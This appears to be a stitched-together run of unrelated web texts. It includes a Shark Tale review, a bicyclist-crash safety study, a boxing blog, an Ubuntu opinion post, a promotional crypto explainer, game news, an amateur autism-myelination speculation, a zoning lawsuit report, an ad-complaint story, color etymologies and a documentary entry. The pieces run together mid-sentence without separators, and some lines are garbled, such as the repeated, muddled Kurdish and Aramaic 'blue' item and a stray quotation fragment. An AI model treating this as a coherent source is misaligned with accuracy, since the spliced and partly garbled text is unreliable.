should not be sexualized. At a racetrack where Oscar squanders a large sum of money, his big talk attracts the attention of a femme-fatale lionfish named Lola (Angelina Jolie) dancing lasciviously to the Ludacris song “Gold Digger.” Just as Shark Tale reduces Smith to a generic rap dude, it reduces the equally complicated Jolie to an underwater vamp with Jolie’s luscious lips and air of husky sexuality. Husky sexuality is just what’s called for in a movie like Gia, but it seems creepy and unnerving in an animated fish movie aimed at small children. Yet the inappropriateness of sexualizing a cold-blooded sea creature apparently didn’t keep the animators from thinking, “Oh man, if we do our jobs correctly, everyone is going to want to fuck this fish.”
But before Shark Tale can introduce some of the sexiest, most fuckable fish ever committed to a family film, it first indulges in world-building. Terrible, terrible world-building that establishes an undersea society that’s exactly like our own, but overrun with terrible fish puns.
Shark Tale takes place in a world where the underwater equivalent of the Hollywood Walk Of Fame features stars for such figures as “Mussel Crowe,” “Jessica Shrimpson,” and “Cod Stewart,” while consumers drinking “Coral-Cola” shop at the “Gup” and communicate via “shell phones” instead of cell phones. But the film’s hokiest bit of world-building involves moving the entire world of The Godfather underwater. It’s as if DreamWorks decided to make an entire movie based on a single stupid pun: What if the mobster threatening that an enemy will “sleep with fishes” actually was a fish? Eh? Eh? And what if Robert De Niro, who at the time was beginning to show a strong eagerness to do things in exchange for large amounts of money, regardless of how silly or undignified those things might be, was the one doing some of that mob-style threatening?
De Niro plays Don Lino, a great white shark and Godfather of the sea who lives in denial about his effete misfit son, Lenny (Jack Black), a pacifistic vegetarian who likes to promenade about as a dolphin. Oscar and Lenny’s relationship begins when Lenny’s more aggressive brother Frankie (Michael Imperioli) is accidentally killed by a falling anchor. Lenny is guilt-stricken, but Oscar spies an opportunity for personal advancement when he begins to claim credit for killing the hated shark. With Oscar’s help, Lenny goes into hiding, while Oscar exploits his newfound fame for all it’s worth. Suddenly, Oscar is realizing all his shallow materialistic dreams as a world-conquering superstar, but at the expense of his soul.
Shark Tale traffics in familiar hokum about believing in yourself and valuing true friends above scheming parasites, but at least this trite sentimentality provides a welcome respite from wall-to-wall pop-culture references seemingly designed to destroy viewers’ affections not just for the pop culture being referenced, but for pop culture as a whole. Oscar does an elaborate Hammer dance to “U Can’t Touch This.” Martin Scorsese, that pre-eminent genius of American film, is saddled with Puff Daddy and raise-the-roof jokes. And in a particularly desperate nadir, Oscar takes time off from pretending to pursue Lenny around their underground city in a widely televised fake chase to randomly pop off movie catchphrases like, “Are you not entertained?”, “You can’t handle the truth!”, and “You had me at hello!” Shark Tale is like Michael Bolton in Lonely Island’s “Jack Sparrow,” only not funny.
Shark Tale ends with Oscar reconciled to a modest but satisfying life taking over the car wash he spent so much of the early part of the film trying to escape. The film closes with fish that bear nightmarish resemblances to Missy Elliott and Christina Aguilera belting out a cover of “Car Wash” that is noteworthy for a couple of reasons. First and foremost, like everything about Shark Tale, the song is not original. It’s a cover of the theme song to the wonderful 1976 cult classic. But that isn’t the only way the song is a sad reprise of past glories: The pairing of Aguilera and Elliott on a cover of a 1970s classic is also designed to resurrect fond memories of their collaboration alongside Mya and Lil’ Kim on the smash-hit “Lady Marmalade” cover from the Moulin Rouge soundtrack. So a movie that is nothing but one dead, empty, self-satisfied layer of pop-culture references atop another ends with a would-be anthem that likewise represents a tapestry of easy, familiar pop-culture references with nothing underneath.
There is nothing to Shark Tale, really—no wit, no soul, no heart. Nothing but the faint, reassuring buzz of familiarity. In 2004, that was enough to make the film a massive hit and an Oscar nominee, but today, we hopefully ask for more from animated movies than faux hip-hop culture-clash comedy wedded to the reference-as-punchline idiocy of Jason Friedberg and Aaron Seltzer.
I would not want to live in a world where all animated movies are like Shark Tale. I like to think animation learned something from Shark Tale’s mistakes, that the nightmare-inducing trauma of seeing underwater creatures freakishly mashed up with the likes of Martin Scorsese and Renée Zellweger prompted studios to realize that animation’s obsession with celebrity had grown monstrous and disturbing. Shark Tale’s animation isn’t bad, but the hideousness of its character design and the awfulness of its script makes it difficult to overlook anything but the aching, all-encompassing nothingness at the film’s core. Shark Tale doesn’t just fail to add anything of substance to the culture, it parasitically eats away at our affection for what it’s so lazily recycling. In that respect, it doesn’t merely offer nothing; it offers less than nothing.
Up next: What Women WantA growing number of vehicles are equipped with front crash prevention technology that can recognize the back of another vehicle and prevent a rear-end crash. If more of these systems could also recognize the backs of bicycles and bicyclists, they could prevent or mitigate a large portion of the crashes that kill people traveling on two wheels.
More than 3,300 bicyclists were killed in crashes in a five-year period from 2008 to 2012. Seventy-four percent of those deaths occurred when the bicyclist was struck by the front of a passenger vehicle, IIHS researchers found in a new study of bicyclist crash types relevant to the design of crash prevention systems. Of those crashes, the most common scenario, accounting for 45 percent, involved a vehicle traveling in the same direction as a bicycle and hitting it from behind, the researchers found. In contrast, pedestrian fatalities most commonly result from being struck while crossing a roadway (see "Pedestrians stand to benefit from new vehicle technology and designs," March 30, 2011).
The most common configuration among all bicycle crashes, fatal and nonfatal, was a bicycle crossing the path of a straight-moving vehicle. That scenario was the second-most common among bicyclist fatalities involving the front of a passenger vehicle, accounting for 22 percent of deaths. The third-most common fatal scenario involved a vehicle moving straight and a bike moving against traffic. Crashes involving turning vehicles and bicycles either crossing traffic or moving in line with traffic were the second- and third-most common crashes, respectively, but were not among the most common fatal crash scenarios.
The study was based on information on crashes from two federal databases, the Fatality Analysis Reporting System, a census of all fatal crashes, and the National Automotive Sampling System General Estimates System, which is a nationally representative sample of police-reported crashes.
Compared with the total number of people who die on the nation's roads, the number of bicyclists killed in crashes with motor vehicles is small, but it has been going up since 2010, when 621 were killed. In 2013, the last year for which data are available, the toll was 741.
"Biking has been enjoying a resurgence in recent years, as individuals and local governments seek a greener form of transportation that doesn't contribute to traffic congestion," says David Zuby, IIHS executive vice president and chief research officer. "The auto industry should keep bicyclists in mind as it continues to develop crash avoidance technology."
So far most efforts to improve bicyclist safety have focused on infrastructure. Cities have added bike lanes and cycle tracks and have delineated bike boxes at intersections to give bicyclists their own space to wait for a light to change. In many cases, safety was found to improve after such changes (see "Sharing the road: Communities try new ways to improve bicyclist safety," Jan. 24, 2013).
But even with improved infrastructure, it would be impossible to eliminate all conflicts between vehicles and bicycles. That's why it's important to incorporate bicyclist detection into front crash prevention systems.
Common crash scenarios:
Crashes involving bicyclists and fronts of passenger cars
Vehicle moving straight and
bicyclist crossing traffic Vehicle turning and
bicyclist crossing traffic
Vehicle turning and
bicyclist traveling in line with traffic Vehicle moving straight and
bicyclist traveling in line with traffic
Vehicle moving straight and
bicyclist traveling against traffic
Addressing the most frequent deadly crash scenario — a vehicle striking a bicyclist from behind — requires relatively minor modifications to current front crash prevention systems, which are typically designed to prevent front-into-rear crashes between vehicles. Adding the capability to identify bicyclists to these systems could prevent or mitigate up to 32 percent of fatal bike crashes and up to 6 percent of all bike crashes.
Preventing crashes with bicyclists crossing traffic is more complex and has similar requirements to pedestrian detection systems, which must identify people as they step in front of the vehicle from the side of the road.
A handful of automakers are already adding bicyclist detection to their crash avoidance systems. Volvo and Subaru say their optional forward collision warning and automatic braking systems recognize bicyclists as well as pedestrians. BMW's Night Vision is designed to detect bicyclists, pedestrians and large animals in the dark and highlight them on a display, issuing an audible warning if necessary. All these systems have certain limitations, and it's not clear what percentage of bike crashes they actually prevent or mitigate.
The new study estimates the number of crashes that could potentially be addressed. Systems designed with the three most common deadly crash scenarios in mind have the potential to help mitigate or prevent up to 26 percent of bicycle crashes and 52 percent of fatal crashes. Systems that also address the remaining two most common crash modes could help mitigate or prevent up to a total of 47 percent of crashes and 54 percent of fatal crashes.
In addition to crash configurations, the study also looked at vehicle speed and time of day. Half of fatal crashes and nearly a quarter of all crashes involving the front of a vehicle occurred at night or during twilight. Most crashes occurred on roads with speed limits of less than 40 mph, but only about a third of fatal ones did. Currently, not all front crash prevention systems are effective in darkness or at high speeds, but they would need to be to have the biggest effect on bicyclist crashes and fatalities.Bob Arum was interviewed by Gareth A Davies of the Telegraph, and addressed some of his deeper concerns for a fight between Manny Pacquiao and Floyd Mayweather Jr:
"It's been an amazing run, that's why I get very very impatient with a lot of this Mayweather nonsense. Because the game plan here is to be president of the Philippines. The game plan is not to be the pound for pound guy for five or six years, it is to transcend boxing and to move on to the rest of his life."... "One of the reasons I never really was so keen on a Mayweather fight which I now truly believe is an easy fight for Pacquiao is because how Manny is going to be tainted by some of the vile things that Mayweather comes out with. Even though he'll be the good guy, God knows what Mayweather is capable of saying. It's one thing to talk about how much better a fighter he is and Manny can't do this or that, but Mayweather, who has no sensibility in this, is capable of insulting the country. The ignorance is so appalling."
I doubt it would really go down that way. Mayweather has, of course, had his racist rants on his own weird ass web cam show, and he caught a lot of flak for that. But he hasn't brought them to official press functions. Honestly, I think Floyd's so strange that he might have thought that his UStream show wasn't, like -- I don't know how to put this. Like it didn't matter, or that it was an equivalent to speaking out of the public eye at his own dinner table or something.
Now I don't know whether or not there's ever any real chance of Manny Pacquiao becoming President in the Philippines, and I'm not going to pretend I understand the political climate there, because I don't have the first clue, and to be 100% honest, my interest on that level is pretty much zero. I like boxers for their fighting, for the most part, and Manny Pacquiao's political career is only of very minor interest to me. I care mostly about whether or not it gets in the way of his boxing career. I mean that for now -- obviously when he retires, he's retired, and best of luck to him. I don't plan on blaming political aspirations for sending him out too soon, and as Pacquiao plans to fight through 2013, that's not really going to be "too soon" anyway.
But anyway, back to the other thing: No, I don't expect Mayweather would be out there all Mr. Yunioshi or anything, because he's honestly not that stupid. Mayweather, I think, understands that that would be PR suicide, and again, I just think he didn't understand how widespread that UStream stuff can get. I'm not saying he's a genius or anything, but he keeps his cool with press conference type stuff, and "official" interviews, and is no worse than Bernard Hopkins or anyone with those, really.
Anyway, if the fight's so easy, they should probably just do everything in their power to make it happen and let Floyd truly duck if he's going to do that. Mayweather could insult the entire country of the Philippines right now without the fight happening if he really wanted to, so I can't see that as a valid concern for not doing the fight.Ubuntu for Smartwatches?
I read an interesting article on OMG! Ubuntu! about whether Canonical will enter the wearables business, now the smartwatch industry is hotting up.
On one hand (pun intended), it makes sense. Ubuntu is all about convergence; a core platform from top to bottom that adjusts and expands across different form factors, with a core developer platform, and a focus on content.
On the other hand (pun still intended), the wearables market is another complex economy, that is heavily tethered, both technically and strategically, to existing markets and devices. If we think success in the phone market is complex, success in the burgeoning wearables market is going to be just as complex too.
Now, to be clear, I have no idea whether Canonical is planning on entering the wearables market or not. It wouldn’t surprise me if this is a market of interest though as the investment in Ubuntu over the last few years has been in building a platform that could ultimately scale. It is logical to think this could map to a smartwatch as “another form factor”.
So, if technically it is doable, Canonical should do it, right?
No.
I want to see my friends and former colleagues at Canonical succeed, and this needs focus.
Great companies focus on doing a small set of things and doing them well. Spiraling off in a hundred different directions means dividing teams, dividing focus, and limiting opportunities. To use a tired saying…being a “jack of all trades and master of none”.
While all companies can be tempted in this direction, I am happy that on the client side of Canonical, the focus has been firmly placed on phone. TV has taken a back seat, tablet has taken a back seat. The focus has been on building a featureful, high-quality platform that is focused on phone, and bringing that product to market.
I would hate to think that Canonical would get distracted internally by chasing the smartwatch market while it is young. I believe it would do little but direct resources away from the major push now, which is phone.
If there is something we can learn from Apple here is that it isn’t important to be first. It is important to be the best. Apple rarely ships the first innovation, but they consistently knock it out of the park by building brilliant products that become best in class.
So, I have no doubt that the exciting new convergent future of Ubuntu could run on a watch, but lets keep our heads down and get the phone out there and rocking, and the wearables and other form factors can come later.One of the concerns anyone faces when purchasing or exchanging some asset is the expected future liquidity of being able to swap that asset for another at a later date with ease. Whether or not it's essential to buy a token with high liquidity depends on the purchaser and their financial situation, however, I think it's safe to assume that for most investors, the idea of quickly being able to sell when they need to is paramount to most other considerations. In traditional markets, there must be a known buyer for a seller to sell, and a known seller for a buyer to buy. Blockchain and Smart Contracts are changing this.
First, let's explore what it means to be able to liquidate. It is dependent on the concept of a Coincidence of Wants, where a supplier of good A wants good B and the supplier of good B wants good A. If this doesn't exist, all of a sudden, we have a Coincidence of Wants problem. You can't sell something if there is no one to buy it and you can't buy something if there is no one to sell it. While this problem usually won't exist with highly traded cryptocurrencies, like BTC, ETH, or a traditional stock like TSLA - it still fundamentally relies on buyers and sellers (market makers) indicating their intent to buy or sell. Smart Contracts can instead be used to automatically guarantee liquidity by automatically providing exchange between token types, without the need for market makers to stand in the middle.
After raising a historic $153 million in its Token Generation Event last June, the Bancor Foundation and blockchain protocol, along with their trademarked Smart Token, is thriving with this concept at its core.
By creating a Smart Token, which can hold any other combination of ERC20 tokens, they have essentially created money that holds money. It's a token that holds many token values and establishes its value based on the tokens it holds.
While this may sound confusing, think of it in a practical non-crypto sense.
Let's imagine you have a small change purse that you have traveled around Europe, Asia, and the US with. You have accumulated Euro Coins, Thai Bhat Coins, and some US Quarters. Collectively, they all add up to a collective value of all the coins, and their respective values, giving your change purse a total value based on the coins inside. In the world of change purses, if you wanted to have more Thai Bhat than Euro's you would need a buyer of Euros and a Seller of Bhats to do this. This would likely be a bank, and if you couldn’t find a bank to do this you would be experiencing The Coincidence of Wants problem.
Now, use your imagination and imagine that you can press a button on the outside of the change purse and convert all those Euro coins to Thai Bhat. You now have the same value in the purse, just less in Euro's and more in Bhat. You can do the same back and forth as many times as you want at the current exchange rates with no commission fees. This is how a Smart Token works in the world of digital currencies. The Bancor Protocol addresses the liquidity challenge for cryptocurrencies by enabling continuous, automated and formulaic convertibility for it’s integrated tokens.
The reason this is so impactful for liquidity is that it allows an owner of a cryptocurrency to actively exchange and trade him or herself without the need for an intermediary, allowing for instant liquidity amongst all the tokens held. It also removes the inherent volatility of buying and selling on an exchange, because the exchange happens automatically at a fixed exchange rate, not a variable market rate based on market makers’ bids and asks. Of course, it's also important to note that if there were some global market crash, being liquid wouldn't change the fact that all of the tokens would be worthless, so it's not a way to guarantee you won't lose value.
Hopefully, I've helped explain the concept and wanted to share some exciting updates on Bancor progress since June, as I believe their offering has the potential to change the way tokens are traded and valued in the future. Users of Bancor can use the simple Bancor web wallet, widgets or popular Web3 wallets such as MetaMask, Parity and Mist.
With Bancor, even small and lightly traded cryptocurrencies can be continuously liquid, a game changer for the industry.
“It is with great pride and excitement that we share a 6-month progress update with the world, after a breathtaking 2017 preparing to launch what became an historic Token Generation Event and ushering in a new era of awareness around cryptocurrencies. Bancor’s mission is ultimately to enable anyone to create a viable and liquid token for their community or project, and to modernize the system by which we issue, distribute and convert these tokens among us, thanks to smart contracts and blockchain technology. We are tremendously invigorated to keep pushing forward towards the Bancor Network’s next milestones. 2018 will be a “breakout year” said Galia Benartzi, Co-founder of Bancor.
Here is a quick snapshot of what they have achieved over the past six months:
Learn more about The Bancor Foundation by visiting their website, and or reading their whitepaper.
Another example of how blockchain is reinventing business and changing the world.
This article is part of a new series of articles I am writing profiling businesses reinventing existing industries using the Blockchain.
It’s not just a solution for The Esports Market, it has the potential to become the new backbone of the internet. Watch, and you will see more and more companies emerging with solutions to existing markets with solutions based on the Blockchain. It’s early days, and the best is yet to come. Follow me here as I will continue to write about great examples of the “Blockchain reinventing business.” If you have or know of a company I can review and potentially profile, please submit your idea to me at reinvent.biz.
Need to know more about Blockchain?
because it would take up the entire article to explain how blockchain works, I assume you have a basic understanding of the core concepts. If you don’t, I recommend watching this quick 3 minute video. Have more time/interest? I recommend this slightly more in depth course.
Disclaimer: I make the best effort to select companies I feel are the best fit for the markets I profile, and in some cases I work directly with PR firms to promote their clients, who are the leaders emerging in the space. While I am not directly affiliated or invested in the companies I profile here, I do own Bitcoin, Ethereum and other cryptocurrencies. I hold investment positions in the coins, but do not engage in short-term or day-trading. When mentioning an ICO or TGE, it is not intended to be investment advice. You should seek a duly licensed professional for investment advice. (I recommend Abacus Wealth Partners, for their philosophy of sustainable investing.)Share. Sony Santa Monica delves into its design archives for a look at Kratos' epic underwater adventure. Sony Santa Monica delves into its design archives for a look at Kratos' epic underwater adventure.
To celebrate the release of the excellent God of War Collection on PSN, Sony has delved into Sony Santa Monica's archives to reveal concept work for an epic underwater Atlantis level that, sadly, got the chop from the series' second outing.
While Kratos finally makes the voyage to the infamous lost city in his latest PSP outing, God of War: Ghost of Sparta, Sony's official PlayStation Blog has revealed artwork and even a fascinating video piece from Senior Level Designer Jonathan Hawkins, walking through the level that never was.
Sony blames "high-level changes" to the game during development for the impressive sequence's ultimate demise, although Hawkins' still had a chance to shine during his first level design assignment, being the brains behind God of War II's unforgettable crumbling Grapple Bridge sequence.
You can check out that little piece of game design history and more by visiting the God of War Anthology page on the PlayStation Store where you can also grab Sony's beautiful HD remaster of the first two titles in the series.Reddit
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Statement of Purpose
I have only a rudimentary knowledge of neuroscience, I would equate myself to a sophomore (2nd year) undergraduate in the subject. That being said, I was sitting in a lecture today and I noticed something I thought was interesting and decided to research it the rest of the day. As it turns out there was not much research in the subject, or at least not very Googleable(?) research. In posting this I am both explaining what I did find out, and hoping to either inspire someone to do this research or direct me to the research, because I find this fascinating.
Touch and Social Bonding
Today I listened to a presentation from a recent graduate from the University of Illinois Urbana-Champaign who was working on creating a device to stimulate CT afferents:
CT (C tactile) afferents are a distinct type of unmyelinated, low-threshold mechanoreceptive units existing in the hairy but not glabrous skin of humans and other mammals.
CT afferents have also been linked to social bonding and the research in this particular subject is relatively new. Further, and more importantly to this discussion CT afferents are unmyelinated, which essentially means there is no insulation around the axon. The image below are various fibers, the one all the way to the right would be the unmyelinated fiber:
The implication being the fiber will carry any signaling much slower than a myelinated axon. An analogy would be to imagine a myelinated series of axons being a paved road and an unmyelinated series of axons being an unpaved road, meaning a car (or signal) travels much slower.
Alright.. so what?
Well one thing that the presenter was working on was replicating results from previous studies to more or less “prove” that we evolved with CT afferent fibers to help support social bonding. What is interesting is that emotion is also associated with unmyelinated fibers [1], further individuals with autism are often have trouble controlling or sharing their emotions in a normal fashion [2]. Individuals with autism also have been shown to benefit from being brushed on the arm [3]. Where a large number of hair fibers are located, which is the only place CT afferent fibers are located in humans. It turns out that if many of our sensory neurons are not myelinated[4], most of which are associated with autisms issues (touch, emotions, hearing, etc.).
There is a fair amount of research on this subject as a Google Search will tell you. However, what much of the research I’ve been reading the past few hours has not seemed to connect is the connection between the unmyelinated fibers being (usually being) slow and autistic individuals issue with overstimulation (there was one paper). Nor that CT afferent fibers are connected with social contact and the (often) socially distant autistic individuals. My postulate being there is a connection, a single underlying cause, between all these various issues. I believe it is possible if not likely that all of these issues are derived from myelination issues and needs to be researched further.
Brains Scan Comparison
From:
Touching and feeling: differences in pleasant touch processing between glabrous and hairy skin in humans
Image representative of being stroked by a brush on the right arm:
How the signal travels though are slightly different:
Now, if we overlay that with the following from hahealth.com:
It is clear there is a difference between those with autism and the “normal” individual above, but to be honest I do not trust the validity of much of the imaging out there. The past hour I have looking at studies, etc. and they rarely have more than one or two brain scans, that’s simply not enough. However, many of the scans did show something similar to the image above, where autistic individuals have less activity in that particular region.
If we then review what we “know” from “normal” brains, we know that Insular cortex is the primary collection point for unmyelinated axons and myelinated axon signals are sent to the Somatosensory cortex. Interestingly, the Somatosensory region also is less active in those with autism (at least that is what it seems like, but again I question the validity). This could further support the myelination issue I postulated.
Summary
I hope that this is being looked into, I believe a single/multiple genetic mutation(s) could be at work to cause this, but the effect would be fairly easy to test via an autopsy or perhaps a sampling of nerve fibers in the arm. It seems to me, that the insular cortex seems to be at the “heart” of the problem, and although I am sure this has been researched CT afferent fibers have only just been discovered in humans (according to the lecture I attended today) in the 90’s and have not been researched thoroughly. To support that claim, I would like to point out most of the research I found on the subject was from 2009 – 2014.
As an aside, thank god I am still at a University. Most of this information is horribly inaccessible without access to research journals.
Recent PostsSoda and sweets aren’t making Americans fat. In fact, underweight Americans consume more junk food than those who are morbidly obese.
In a new study in the journal Obesity Science & Practice, Cornell professors analyzed the food intake of about 6,000 people, according to MarketWatch. The study found that consuming more fast food, candy and soda was not correlated with higher body mass indexes—“While a diet of chocolate bars and cheeseburgers washed down with a Coke is inadvisable from a nutritional standpoint, these foods are not likely to be a leading cause of obesity.”
The trick, the professors say, is portion control. Eliminating the junk food that gets so much bad attention won’t make a difference unless it is paired with a generally improved diet and exercise. “If you want to try and prevent obesity, or want to create policy that is going to help people, simply addressing the availability of junk foods and sodas isn’t going to do it,” professor David Just said in a Cornell post. “This isn’t the difference between fat people and skinny people. It’s other things.”
The researchers did find one significant eating difference between those who were morbidly obese, and everyone else: french fries. Those whose BMIs surpassed 44.9 and were considered morbidly obese ate 50% more french fries than the average person.by BRIAN NADIG
A lawsuit challenging the city’s settlement agreement on the proposed site of a storage warehouse and a mixed-income housing project at 5150 N. Northwest Highway was filed Thursday, April 6, in Cook County Circuit Court.
The lawsuit was filed on behalf of several home owners, a business and Northwest Side Unite, a community organization which is opposing the height and density of the planned seven-story, 100-unit apartment building and five-story, self-storage warehouse.
Northwest Side Unite has collected more than 4,500 signatures on a petition against the proposal, and at least 80 percent of the owners of homes within 250 feet of the development site have signed affidavits opposing the development plan.
It is not known if the lawsuit would cause additional delays in the rezoning of the 1.54-acre site to accommodate the redevelopment of the property. A city Department of Law spokesman declined to comment on the lawsuit because the department had not reviewed it.
Last month the Chicago Plan Commission approved rezoning the site from B1-1 to B3-5, the densest classification for a community shopping district, and then to a planned development, which calls for a warehouse and an unspecified residential development, which currently is the 100-unit proposal. Later this year project officials plan to file an amendment to the development ordinance to allow for the 100 apartments.
However, the City Council Zoning Committee at its March 27 meeting delayed voting on the proposal due to a lack of quorum but not before committee member Alderman Ed Burke (14th) raised several concerns about the settlement agreement. Burke said that the agreement had not been submitted to the council for review, and he raised doubts about whether the agreement was properly signed by the law department.
The committee could hold another hearing on the proposal at its meeting on Wednesday, April 12, but the agenda had not been posted. The meeting will start at 10 a.m. in the Council Chamber at City Hall, 121 N. LaSalle St.
Members of Northwest Side Unite have expressed concern that the city failed to solicit input from residents before Alderman John Arena (45th) and zoning administrator Patricia Scudiero agreed to support the B3-5 zoning as part of the settlement agreement.
Plaintiffs’ attorney Peter Stasiewicz said that while the zoning code requires the administrator to review proposals, the agreement violates the stated duties of the position by also requiring Scudiero to support the rezoning. “The city code cannot be modified by agreement. You just can’t get together and say we’re changing city law,” he said.
The settlement agreement was in response to a lawsuit which the site’s owner, LSC Development, filed last June against the city after Arena had the property downzoned to stop a plan to retrofit the existing building there for a self-storage facility. At the time there were no plans for apartments on the site, and Arena has said that a storage facility by itself would do little to improve the economic vitality of the area.
In early 2016 LSC Development completed the interior demolition of the former food processing plant on the site, and then on April 26 it received a construction permit to convert the plant into the storage facility, but the city revoked the permit the next day. Under the terms of the settlement agreement, the new plan calls for the building to be demolished.
The lawsuit filed by residents seeks to invalidate the settlement agreement and asks for an injunction which would prevent the city from taking further actions on rezoning the site in accordance with the agreement. A hearing on the plaintiffs’ request for a temporary restraining order to halt the zoning approval process has been set for Thursday, April 13.
The lawsuit claims that the settlement was an attempt by the city to circumvent the normal zoning process by securing approvals from key figures in the process before the community was notified of the project. “They basically bargained away the neighborhood’s rights,” Stasiewicz said.
Arena held a community meeting on the proposal two weeks after he signed the settlement agreement in late January, and there was no mention of the agreement at the Feb. 9 meeting. News of the agreement broke about a week later.
The agreement appeared to have influenced the vote of at least one plan commission member. Michael Kelly, who also is the superintendent of the Chicago Park District, cited the agreement as a reason for his “yes” vote.
The city could be forced to pay to LSC hundreds of thousands of dollars if the rezoning is not approved. The agreement grants LSC the right to reinstate its lawsuit, which sought monetary damages and the re-issuance of its original construction permit.
LSC claimed in its lawsuit that the downzoning and subsequent delays have put the company in jeopardy of defaulting on a loan of $6,375,000 for the project. The company spent about $3.5 million on the acquisition of the property and on the interior demolition of the building.
Arena’s chief of staff Owen Brugh said that he had not seen the residents’ lawsuit but that the alderman is “looking forward to bringing affordable housing for our veterans and those with disabilities in our community.”
Representatives of Full Circle Communities, which plans to buy half of the property from LSC, have said that the apartments would be marketed heavily toward veterans and that 10 units would be fully accessible for the disabled, with additional ones being adaptable to fit a tenant’s special needs. The project would include 60 affordable units for those households making about 60 percent of the area’s median income and 20 units for low-income families which are on a Chicago Housing Authority-waiting list.
The project has the support of the Service Employees International Union and several housing advocacy organizations, while it is opposed by the Gladstone Park and Jefferson Park neighborhood associations and the local chambers of commerce.
Some supporters of the project have said that fears about low-income housing are driving the opposition more than concerns about the project’s height and density. A master plan which was compiled with input from residents, businesses and elected officials, recommends a four-story height limit for the Northwest Highway and Milwaukee Avenue commercial corridors north of the Kennedy Expressway.
You can view a copy of the lawsuit hereThe Advertising Standards Board Australia, the country’s ad watchdog, has ultimately rejected a viewer’s complaint that a new cereal add featuring a same-sex kiss has caused permanent psychological damage to their 7-year-old son.
Titled “Own It,” the commercial for Kellogg’s Special K stars a diverse group of women and includes two ladies who are seen briefly kissing at a party.
Upon viewing this, one viewer became jolly cross indeed, writing the following inchoate complaint to The ASB:
The add [sic] was ruined where it showed two women kissing. “Why it did one can only wonder perhaps it was trying to support a particular agenda (eg desensitizing the public) however regardless, that physical act doesn’t have anything to do with a breakfast cereal product that anyone in our society might choose to purchase and enjoy. “The ad should consider the well being of the younger generations of children and families as well as everyone else. “I object to the kiss. Must we have the lesbian message shoved in our faces all the time. My 7 year old boy doesn’t need that happening in his lounge room. “The ad was shown during family viewing time and included two women kissing as a couple in an attempt to normalize this behavior.”
Here’s the company’s response:
Kellogg acknowledges that there may be some members of the public that will be offended by a scene depicting two women kissing. “We respectfully submit that whilst some individuals may be offended, the advertisement does not depict the scene in a way that vilifies a person or section of the community, including on account of religion or sexual preference. “A scene briefly portraying two women kissing, in the context of an advertisement that celebrates the reality of female diversity, cannot |
," he said.
"In cases of severe financial hardship, a thorough review of a debtor’s capacity to repay will be undertaken, and they will be given a reasonable amount of time to repay their debt."By Onna Nelson, University of California, Santa Barbara
1. English red
The Proto-Indo-European (PIE) word for red, reudh, remained largely unchanged for thousands of years, showing up in English red, Spanish rojo, French rouge, German rot, Icelandic rauðr, and Welsh rhudd. Not only did it lead to these words for the color itself, it also led to red-related English words like ruby, rust, and rubeola.
2. English black
The PIE word bhel evolved into many modern words meaning "white," including Spanish blanco, French blanc, Italian bianco, and Portuguese branco, as well as white-related words such as bleach and blank. So why does the English word black look so much like all these other words for white? Well, bhel also referred to anything bright, like fire, and the result of fire is blackened, charred remains. Hence, black.
3. English green
The PIE word ghre-, meaning "to grow," is another root which endured the centuries. What grows? Green stuff! Grhe- gave us many modern words meaning "green," including English green, German grün, and Icelandic grænn, as well as the English words grow, grass, graze and herb.
4. Portuguese red and purple
As languages add color words to their lexicon, the colors a word refers to can get shifted around. Portuguese roxo, related to the same PIE word reudh, used to mean red and red-related colors, including pink, orange, and purple. When the bright red pigment vermilion was imported from China, Portuguese began using vermelho to refer to red, and pushed roxo aside to refer exclusively to purple.
5. English purple
Purpura is the Latin name of a particular kind of shellfish which, when ground up, produces a bright purple dye, which in turn was taken from the Greek word porphura to describe the same sea creature. The word purpura later began to refer to the dye, and eventually the color of this dye. This dye was very expensive, and purple was considered a color of royalty throughout Europe. When this dye was exported to England, the word purple was imported into English as well. Today "purpura" is used by medicos to describe purplish discolorations of the skin.
6. English pink
Lots of fancy color words come from flowers or fruits: violet, periwinkle, lavender, lilac, olive, eggplant, pumpkin, and peach, to name a few. In English, pink used to refer exclusively to a flower called a pink, a dianthus which has pale red petals with fringed edges. "Pink" the verb, meaning to cut or tear jaggedly, has been in use in the English language since the early 14th century. Eventually, English speakers forgot the name of the flower, but preserved the word for the color.
7. Japanese blue and green
Over two-thirds of the world's languages have a single word for both green and blue, known as grue in English. In Japanese, aoi historically referred to grue. When Crayola crayons were imported, green was labeled midori and blue was labeled aoi. New generations of schoolchildren learned them as different colors. But traces of grue remain: Japanese still refers to “blue” traffic lights and “blue” apples with aoi.
8. Kurdish and Russian blue
In Russian, the word for dark blue is sinii, and in Kurdish the word for blue is šin. In Neo-Aramaic, a central hub of trade, the word for blue is sǐni, and in Kurdish the word for blue is šin. In Arabic, a central hub of trade, the word for 'Chinese' is sini. The words for Chinese and blue became synonymous due to the popular blue and white porcelain china commonly traded in the region.
9. Spanish yellow
Amarillo, or "yellow," is a diminutive form of the Spanish word amargo, which comes from the Latin word amarus, meaning "bitter." So how did “little bitter” come to be synonymous with “yellow”? In the Middle Ages, medical physicians commonly believed that the human body had four humors. The “bitter humor” referred to bile, which is yellow.
10. English orange
When oranges (the fruit) were exported from India, the word for them was exported too. Sanskrit narangah, or "orange tree," was borrowed into Persian as narang, "orange (fruit)," which was borrowed into Arabic as naranj, into Italian as arancia, into French as orange, and eventually into English as orange. The color of the fruit was so striking that after borrowing the word and the crop, English speakers eventually began referring to the color by this word as well. Before oranges were imported in the 1500s, the English word for orange (the color) was geoluhread (literally, "yellow-red").Britain's Real Monarch Release date 3 January 2004 ( ) (UK)
(UK)
Country United Kingdom
Britain's Real Monarch was a historical documentary presented by Tony Robinson first shown on Channel 4 on 3 January 2004.[1] It has also been broadcast in Australia and in the United States. The documentary discusses the descendants of George Plantagenet, Duke of Clarence, and their claim to the throne of England.
Thesis [ edit ]
The programme based its thesis on the centuries-old claim that Edward IV was illegitimate, born to Cecily, Duchess of York, by an English archer (surnamed Blaybourne by some) while her husband Richard was fighting elsewhere in France. The legitimacy of Edward IV was the subject of speculation at the time, and a document in Rouen Cathedral is presented by Dr Michael Jones as indicating that Richard and Cecily were about 100 miles (160 km) apart during the five-week period when Edward's conception must have occurred (assuming that the pregnancy went to a normal term). A number of historians have since challenged the conclusions reached by the programme.[2]
If Edward were indeed illegitimate, then he and his descendants would have had no valid claim to the throne, so the programme suggests that the'real' monarchs were the heirs of his legitimate brother George, Duke of Clarence. At the time, this line was represented by The 14th Earl of Loudoun (who usually styled himself simply as Michael Hastings), who had emigrated to Australia in 1960, married, fathered five children, and lived in Jerilderie, New South Wales, until his death in June 2012.[3] He would be succeeded in this theoretical pretendership by his son Simon Abney-Hastings, 15th Earl of Loudoun.
See also [ edit ]
For the line described in the show, see Alternative successions of the English crown.
